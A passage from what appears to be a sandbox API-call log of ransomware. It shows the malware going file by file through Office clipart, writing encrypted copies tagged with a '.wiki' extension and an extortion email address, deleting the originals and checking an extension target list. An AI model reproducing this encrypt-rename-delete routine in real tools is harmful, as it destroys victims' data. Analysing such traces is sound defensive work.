dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0188.970] GetLastError () returned 0x0 [0188.970] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xa6d0, lpOverlapped=0x0) returned 1 [0189.062] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xa6e0, lpOverlapped=0x0) returned 1 [0189.064] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.064] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.064] SetEndOfFile (hFile=0x21c) returned 1 [0189.064] CloseHandle (hObject=0x21c) returned 1 [0189.064] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.064] SetEndOfFile (hFile=0x218) returned 1 [0189.065] CloseHandle (hObject=0x218) returned 1 [0189.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.066] lstrlenW (lpString=".doc") returned 4 [0189.066] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.066] lstrlenW (lpString=".docx") returned 5 [0189.066] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.066] lstrlenW (lpString=".pdf") returned 4 [0189.066] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.066] lstrlenW (lpString=".xls") returned 4 [0189.066] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.066] lstrlenW (lpString=".xlsx") returned 5 [0189.066] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.066] lstrlenW (lpString=".ppt") returned 4 [0189.066] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.066] lstrlenW (lpString=".zip") returned 4 [0189.066] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.066] lstrlenW (lpString=".rar") returned 4 [0189.066] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.066] lstrlenW (lpString=".bz2") returned 4 [0189.066] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.066] lstrlenW (lpString=".7z") returned 3 [0189.066] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.066] lstrlenW (lpString=".dbf") returned 4 [0189.066] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.066] lstrlenW (lpString=".1cd") returned 4 [0189.066] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.066] lstrlenW (lpString=".jpg") returned 4 [0189.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.067] lstrlenW (lpString=".doc") returned 4 [0189.067] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.067] lstrlenW (lpString=".docx") returned 5 [0189.067] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.067] lstrlenW (lpString=".pdf") returned 4 [0189.067] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.067] lstrlenW (lpString=".xls") returned 4 [0189.067] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.067] lstrlenW (lpString=".xlsx") returned 5 [0189.067] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.067] lstrlenW (lpString=".ppt") returned 4 [0189.067] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.067] lstrlenW (lpString=".zip") returned 4 [0189.067] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.067] lstrlenW (lpString=".rar") returned 4 [0189.067] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.067] lstrlenW (lpString=".bz2") returned 4 [0189.067] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.067] lstrlenW (lpString=".7z") returned 3 [0189.067] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.067] lstrlenW (lpString=".dbf") returned 4 [0189.067] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.067] lstrlenW (lpString=".1cd") returned 4 [0189.067] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 63 [0189.067] lstrlenW (lpString=".jpg") returned 4 [0189.067] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.068] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.068] lstrlenW (lpString="FD01084_.WMF") returned 12 [0189.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.068] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2412) returned 1 [0189.068] CloseHandle (hObject=0x218) returned 1 [0189.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x20 [0189.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.069] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.069] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0189.069] GetLastError () returned 0x0 [0189.069] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x96c, lpOverlapped=0x0) returned 1 [0189.104] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x970, lpOverlapped=0x0) returned 1 [0189.105] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.105] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.105] SetEndOfFile (hFile=0x21c) returned 1 [0189.105] CloseHandle (hObject=0x21c) returned 1 [0189.105] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.105] SetEndOfFile (hFile=0x218) returned 1 [0189.106] CloseHandle (hObject=0x218) returned 1 [0189.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0189.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.106] lstrlenW (lpString=".doc") returned 4 [0189.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.106] lstrlenW (lpString=".docx") returned 5 [0189.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.106] lstrlenW (lpString=".pdf") returned 4 [0189.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.106] lstrlenW (lpString=".xls") returned 4 [0189.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.106] lstrlenW (lpString=".xlsx") returned 5 [0189.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.106] lstrlenW (lpString=".ppt") returned 4 [0189.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.107] lstrlenW (lpString=".zip") returned 4 [0189.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.107] lstrlenW (lpString=".rar") returned 4 [0189.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.107] lstrlenW (lpString=".bz2") returned 4 [0189.107] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.107] lstrlenW (lpString=".7z") returned 3 [0189.107] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.107] lstrlenW (lpString=".dbf") returned 4 [0189.107] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.107] lstrlenW (lpString=".1cd") returned 4 [0189.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.107] lstrlenW (lpString=".jpg") returned 4 [0189.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.107] lstrlenW (lpString=".doc") returned 4 [0189.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.107] lstrlenW (lpString=".docx") returned 5 [0189.107] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.107] lstrlenW (lpString=".pdf") returned 4 [0189.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.107] lstrlenW (lpString=".xls") returned 4 [0189.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.107] lstrlenW (lpString=".xlsx") returned 5 [0189.107] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.107] lstrlenW (lpString=".ppt") returned 4 [0189.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.108] lstrlenW (lpString=".zip") returned 4 [0189.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.108] lstrlenW (lpString=".rar") returned 4 [0189.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.108] lstrlenW (lpString=".bz2") returned 4 [0189.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.108] lstrlenW (lpString=".7z") returned 3 [0189.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.108] lstrlenW (lpString=".dbf") returned 4 [0189.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.108] lstrlenW (lpString=".1cd") returned 4 [0189.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 63 [0189.108] lstrlenW (lpString=".jpg") returned 4 [0189.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.108] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.108] lstrlenW (lpString="FD01196_.WMF") returned 12 [0189.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.109] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2332) returned 1 [0189.109] CloseHandle (hObject=0x218) returned 1 [0189.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x20 [0189.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.109] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.109] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0189.109] GetLastError () returned 0x0 [0189.109] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x91c, lpOverlapped=0x0) returned 1 [0189.132] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x920, lpOverlapped=0x0) returned 1 [0189.133] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.133] WriteFile (in: hFile=0x21c, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.133] SetEndOfFile (hFile=0x21c) returned 1 [0189.134] CloseHandle (hObject=0x21c) returned 1 [0189.134] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.134] SetEndOfFile (hFile=0x218) returned 1 [0189.134] CloseHandle (hObject=0x218) returned 1 [0189.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf")) returned 1 [0189.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.135] lstrlenW (lpString=".doc") returned 4 [0189.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.135] lstrlenW (lpString=".docx") returned 5 [0189.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.135] lstrlenW (lpString=".pdf") returned 4 [0189.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.135] lstrlenW (lpString=".xls") returned 4 [0189.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.135] lstrlenW (lpString=".xlsx") returned 5 [0189.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.135] lstrlenW (lpString=".ppt") returned 4 [0189.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.135] lstrlenW (lpString=".zip") returned 4 [0189.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.135] lstrlenW (lpString=".rar") returned 4 [0189.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.135] lstrlenW (lpString=".bz2") returned 4 [0189.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.136] lstrlenW (lpString=".7z") returned 3 [0189.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.136] lstrlenW (lpString=".dbf") returned 4 [0189.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.136] lstrlenW (lpString=".1cd") returned 4 [0189.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.136] lstrlenW (lpString=".jpg") returned 4 [0189.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.136] lstrlenW (lpString=".doc") returned 4 [0189.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.136] lstrlenW (lpString=".docx") returned 5 [0189.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.136] lstrlenW (lpString=".pdf") returned 4 [0189.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.136] lstrlenW (lpString=".xls") returned 4 [0189.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.136] lstrlenW (lpString=".xlsx") returned 5 [0189.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.136] lstrlenW (lpString=".ppt") returned 4 [0189.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.136] lstrlenW (lpString=".zip") returned 4 [0189.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.136] lstrlenW (lpString=".rar") returned 4 [0189.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.136] lstrlenW (lpString=".bz2") returned 4 [0189.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.137] lstrlenW (lpString=".7z") returned 3 [0189.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.137] lstrlenW (lpString=".dbf") returned 4 [0189.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.137] lstrlenW (lpString=".1cd") returned 4 [0189.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 63 [0189.137] lstrlenW (lpString=".jpg") returned 4 [0189.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.137] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.137] lstrlenW (lpString="FD01659_.WMF") returned 12 [0189.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.137] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=31180) returned 1 [0189.137] CloseHandle (hObject=0x218) returned 1 [0189.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x20 [0189.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0189.138] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.138] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0189.138] GetLastError () returned 0x0 [0189.138] ReadFile (in: hFile=0x218, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x79cc, 